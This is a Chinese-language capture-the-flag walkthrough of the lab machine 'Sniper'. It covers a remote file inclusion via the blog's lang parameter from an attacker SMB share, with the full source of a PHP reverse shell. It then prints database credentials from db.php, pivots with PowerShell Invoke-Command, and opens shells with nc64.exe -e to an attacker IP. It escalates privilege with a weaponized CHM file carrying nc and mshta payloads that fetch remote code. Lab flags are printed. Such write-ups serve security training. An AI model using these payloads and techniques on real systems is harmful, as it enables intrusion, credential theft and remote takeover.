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[Meachines] [Medium] Sniper RFI包含远程SMB+ powershell...
2024-09-22 18:02:41

信息收集

IP AddressOpening Ports
10.10.10.151TCP:80,135,139,445,49667

$ nmap -p- 10.10.10.151 --min-rate 1000 -sC -sV -Pn

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP SMB远程RFI

http://10.10.10.151/

image.png

$ feroxbuster --url http://10.10.10.151/

image-1.png

$ curl 'http://10.10.10.151/blog/?lang=/windows/win.ini'

image-2.png

$ impacket-smbserver share /tmp/ -smb2support

<?php
// Copyright (c) 2020 Ivan Šincek
// v2.6
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer = 1024;  // read/write buffer size
    private $clen   = 0;     // command length
    private $error  = false; // stream read/write error
    private $sdump  = true;  // script's dump
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        $os = PHP_OS;
        if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
            $this->os    = 'LINUX';
            $this->shell = '/bin/sh';
        } else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
            // once daemonized, you will actually no longer see the script's dump
        } else if (posix_setsid() < 0) {
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        if ($this->sdump) {
            $data = str_replace('<', '<', $data);
            $data = str_replace('>', '>', $data);
            echo $data;
        }
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set the global error flag
            echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set the global error flag
            echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $size = fstat($input)['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // so we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");
                    do {
                        $status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('127.0.0.1', 9000);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

http://10.10.10.151/blog/?lang=\\10.10.16.9\share\shell.php

image-3.png

iusr -> Chris

C:\inetpub\wwwroot\user>type C:\inetpub\wwwroot\user\db.php

image-4.png

username:dbuser password:36mEAhz/B8xQ~2VM

切换用户

image-5.png

$ crackmapexec smb 10.10.10.151 -u chris -p '36mEAhz/B8xQ~2VM'

image-6.png

PS C:\inetpub\wwwroot\blog> $user = "Sniper\Chris"
PS C:\inetpub\wwwroot\blog> $pass = "36mEAhz/B8xQ~2VM"
PS C:\inetpub\wwwroot\blog> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\inetpub\wwwroot\blog> $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\inetpub\wwwroot\blog> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
PS C:\inetpub\wwwroot\blog> Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost

image-7.png

PS C:\inetpub\wwwroot\blog> Invoke-Command -ScriptBlock { \\10.10.16.9\share\nc64.exe -e powershell.exe 10.10.16.9 10033} -Credential $cred -Computer localhost

image-8.png

User.txt

bb3a48f141bbd9655f1a6b7ab5ddf738

权限提升(CHM武器化)

PS C:\Users\Chris\Downloads> dir C:\Users\Chris\Downloads

image-9.png

PS C:\Users\Chris\Downloads> copy C:\Users\Chris\Downloads\instructions.chm \\10.10.16.9\share\instructions.chm

image-10.png

https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

安装HTML Help Workshop

https://archive.org/details/htmlhelp

image-12.png

PS C:\CHM> Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

PS C:\CHM> Import-Module .\Out-CHM.ps1

PS C:\CHM> Out-CHM -Payload "/Docs/nc64.exe -e cmd 10.10.16.9 10034" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

image-13.png

C:\Docs>copy \\10.10.16.9\share\nc64.exe .

C:\Docs>copy \\10.10.16.9\share\doc.chm .

image-14.png

同样可以使用koadic无文件落地反向shell,这是一个我比较推荐的方法

PS C:\CHM> Out-CHM -Payload "powershell.exe /c mshta http://10.10.16.9:9999/MkvTv" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

PS C:\Docs> copy \\10.10.16.9\share\doc.chm .

image-15.png

Root.txt

9f260cba125a007077d26b18f1a5028d

# web安全 # CTF
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